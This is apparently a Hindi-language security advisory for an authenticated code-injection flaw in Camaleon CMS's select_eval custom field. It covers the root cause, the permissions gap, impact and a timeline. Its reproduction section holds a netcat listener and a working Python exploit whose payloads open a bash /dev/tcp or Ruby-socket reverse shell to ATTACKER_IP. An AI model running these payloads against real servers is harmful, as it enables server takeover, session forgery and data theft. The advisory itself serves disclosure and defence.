
Security Advisory: Camaleon CMS - `select_eval` Custom Field के माध्यम से Authenticated RCE
# सुरक्षा सलाह: Camaleon CMS - `select_eval` कस्टम फ़ील्ड के माध्यम से प्रमाणित RCE
**निर्दिष्ट CVE ID:** CVE-2026-66748
**उत्पाद:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**प्रभावित संस्करण:** 2.1.1 – 2.9.1 (परिचय कमिट 415cbda6 2015-10-16; ठीक कमिट 15882366 2026-03-29 / v2.9.2)
**गंभीरता:** उच्च
**CVSS 4.0 स्कोर:** 8.7
**CVSS 4.0 वेक्टर:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (कोड इंजेक्शन)
**शोधकर्ता:** Theodosis Paidakis
**विक्रेता को सूचित किया गया:** 2026-06-21
**संबंधित सलाह:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - समानांतर फ़ील्ड प्रकार, समान मूल कारण, कोई CVE निर्दिष्ट नहीं)
## सारांश
`select_eval` कस्टम फ़ील्ड प्रकार `field.options[:command]` में एक मनमाना Ruby व्यंजक संग्रहीत करता है और जब भी कोई पोस्ट संपादन पृष्ठ प्रस्तुत किया जाता है, तो ERB व्यू में `instance_eval` के माध्यम से इसे निष्पादित करता है। v2.9.2 से पहले, `custom_fields` प्रबंधन अनुमति वाला कोई भी उपयोगकर्ता - जो आमतौर पर संपादक-भूमिका खातों को दी जाती है - इस फ़ील्ड प्रकार को बना सकता था और सर्वर-साइड RCE प्राप्त कर सकता था। एक `select_eval` फ़ील्ड फ़ील्ड समूह का उपयोग करने वाली किसी भी पोस्ट के प्रत्येक पृष्ठ रेंडर पर सक्रिय होता है; इसका आउटपुट ड्रॉपडाउन विकल्प सूची बन जाता है। यह भेद्यता v2.9.2 में पैच की गई थी।
## प्रभावित घटक
**फ़ाइल:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`
```erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
```
`instance_eval` को डेटाबेस रिकॉर्ड से कच्ची स्ट्रिंग के साथ कॉल किया जाता है। कोई सैंडबॉक्सिंग नहीं है और ERB बाइंडिंग (जो एक पूर्ण Rails व्यू संदर्भ है) से कौन-सी विधियाँ या स्थिरांक सुलभ हैं, इस पर कोई संकलन-समय प्रतिबंध नहीं है।
**फ़ाइल:** `app/models/camaleon_cms/ability.rb` (v2.9.1, पंक्तियाँ 161-165)
`custom_fields` कभी स्पष्ट रूप से प्रदान नहीं किया जाता। फ़ाइल में ऊपर आठ संसाधनों को व्यक्तिगत रूप से `can :manage` मिलता है (`media`, `comments`, `themes`, `widgets`, `nav_menu`, `plugins`, `users`, `settings`), और `custom_fields` उनमें से एक नहीं है। यह केवल इस कैच-ऑल के माध्यम से पहुँच योग्य है, जो भूमिका के `@roles_manager` हैश में मौजूद किसी भी कुंजी को `manage` सौंप देता है, बिना यह जाँचे कि उस कुंजी को प्रदान करना सुरक्षित है या नहीं:
```ruby
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
```
इसलिए जिस भी उपयोगकर्ता की भूमिका में `custom_fields` बिट सेट है, वह कस्टम फ़ील्ड नियंत्रक तक पहुँच जाता है। प्रभावित सीमा में यह बिट नियमित रूप से संपादक-स्तरीय भूमिकाओं को दिया जाता है।
v2.9.2 का पुनर्लेखन `can` को `safe_can` रैपर से बदल देता है और एक स्पष्ट `%i[...]` सूची जोड़ता है जिसमें `custom_fields` और `select_eval` दोनों शामिल हैं, लेकिन उस संस्करण में ऊपर दिया गया कैच-ऑल लूप अभी भी मौजूद है। अनुमति सूची इस समस्या को ठीक नहीं करती; `custom_fields_controller.rb` में strong-parameters allowlist और `custom_field_group.rb` में `can?(:manage, :select_eval)` गेट इसे ठीक करते हैं।
## मूल कारण विश्लेषण
`select_eval` फ़ील्ड प्रकार को डेवलपर्स को CMS डेटाबेस में संग्रहीत Ruby कोड से चयन ड्रॉपडाउन को गतिशील रूप से भरने की अनुमति देने के लिए डिज़ाइन किया गया था। `instance_eval` के माध्यम से डेटाबेस कॉलम से मनमाना Ruby निष्पादित करना उस मान को लिख सकने वाले किसी भी व्यक्ति को शेल पहुँच प्रदान करने के बराबर है। अनुमति आवश्यकता `custom_fields` थी - एक नियमित सामग्री-प्रबंधन अनुमति - न कि एक स्पष्ट विशेषाधिकार प्राप्त बिट।
## पूर्व सलाहों से संबंध
यह निष्कर्ष GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 के रूप में प्रकाशित किया गया था जो Camaleon CMS में एक समानांतर `label_eval` फ़ील्ड प्रकार को कवर करता है। वह सलाह पाँच निष्कर्षों (GHSL-2024-182 से GHSL-2024-186) के एक बैच का हिस्सा थी; पाँच में से केवल दो को CVE नंबर मिले (CVE-2024-46986 और CVE-2024-46987)। GHSL-2024-185 स्वयं को कोई CVE निर्दिष्ट नहीं है।
`select_eval` और `label_eval` एक ही मूल कारण साझा करते हैं - डेटाबेस में संग्रहीत मनमाना Ruby जो ERB व्यू में `instance_eval` के माध्यम से निष्पादित होता है - लेकिन अन्य सभी आयामों में भिन्न हैं:
| | `label_eval` (GHSL-2024-185) | `select_eval` (यह रिपोर्ट) |
| -------------- | ---------------------------- | ---------------------------------- |
| निष्पादन स्थल | किसी भी फ़ॉर्म में फ़ील्ड लेबल | पोस्ट संपादन पृष्ठ में `select_tag` |
| लेखन पथ | कस्टम फ़ील्ड लेबल टेक्स्ट | `field.options[:command]` मेटा पंक्ति |
यह रिपोर्ट विशेष रूप से `select_eval` को कवर करती है। कोई मौजूदा CVE या सार्वजनिक सलाह इस विशिष्ट फ़ील्ड प्रकार और इसके शोषण पथ का दस्तावेज़ीकरण नहीं करती।
## पुनरुत्पादन के चरण
प्रभावित सीमा v2.1.1 से v2.9.1 स्रोत विश्लेषण द्वारा निर्धारित की गई थी; शोषण की पुष्टि v2.9.1 पर शुरू से अंत तक की गई थी। केवल `custom_fields` अनुमति वाले खाते की आवश्यकता है - कोई सर्वर पहुँच नहीं।
**पूर्वापेक्षाएँ:** `custom_fields` प्रबंधन बिट सेट वाला कोई भी खाता - प्रभावित सीमा में एक मानक संपादक-भूमिका अनुमति।
**चरण 1.** एक लिसनर प्रारंभ करें:
```bash
nc -lnvp 4444
```
**चरण 2.** स्क्रिप्ट चलाएँ। `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID`, और क्रेडेंशियल्स संपादित करें।
`TYPE_ID` - पोस्ट प्रकार ID जो एडमिन साइडबार URL में दिखाई देती है (जैसे `/admin/post_type/2/posts`)।
`POST_ID` - उस प्रकार के अंतर्गत कोई भी पोस्ट ID, पोस्ट सूची संपादन लिंक से।
```python
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```
<img width="2226" height="592" alt="image" src="https://assets.kitploit.com/production/public/readmes/45404/aa9bbcb4c28536ceec9b33ecb971e6f0db1bda9b34b5f6404fc745d4af053f4a.png" />
## प्रभाव
`custom_fields` अनुमति वाला कोई भी खाता (v2.9.2 से पहले) प्राप्त करता है:
- **मनमाना Ruby निष्पादन** Rails प्रक्रिया में, वेब सर्वर उपयोगकर्ता (`deploy`, `www-data`, `rails`, आदि) के विशेषाधिकारों के साथ
- **स्थायी निष्पादन**: पेलोड फ़ील्ड समूह का उपयोग करने वाली प्रत्येक पोस्ट के प्रत्येक पृष्ठ रेंडर पर सक्रिय होता है - एक-बार का शोषण नहीं
- **सत्र जालसाजी**: `config/secrets.yml` से `secret_key_base` पढ़ना एडमिन सहित किसी भी उपयोगकर्ता के लिए मनमाना सत्र कुकीज़ बनाने की अनुमति देता है
- **मल्टी-साइट प्रभाव**: साझा Camaleon इंस्टेंस पर, Rails प्रक्रिया की सभी साइटों के डेटा तक पहुँच होती है
v2.9.2 से पहले, `custom_fields` अनुमति नियमित रूप से संपादक-भूमिका उपयोगकर्ताओं को दी जाती थी। किसी भी संपादक-स्तरीय खाते से समझौता करने वाला हमलावर पूर्ण सर्वर-साइड RCE प्राप्त करता है।
## समयरेखा
**2026-06-19** - v2.9.2 और v2.9.1 के स्रोत विश्लेषण के दौरान खोजा गया
**2026-06-21** - विक्रेता को सूचित किया गया
**2026-03-29** - पैच पहले ही जारी किया जा चुका था (v2.9.2, कमिट 15882366)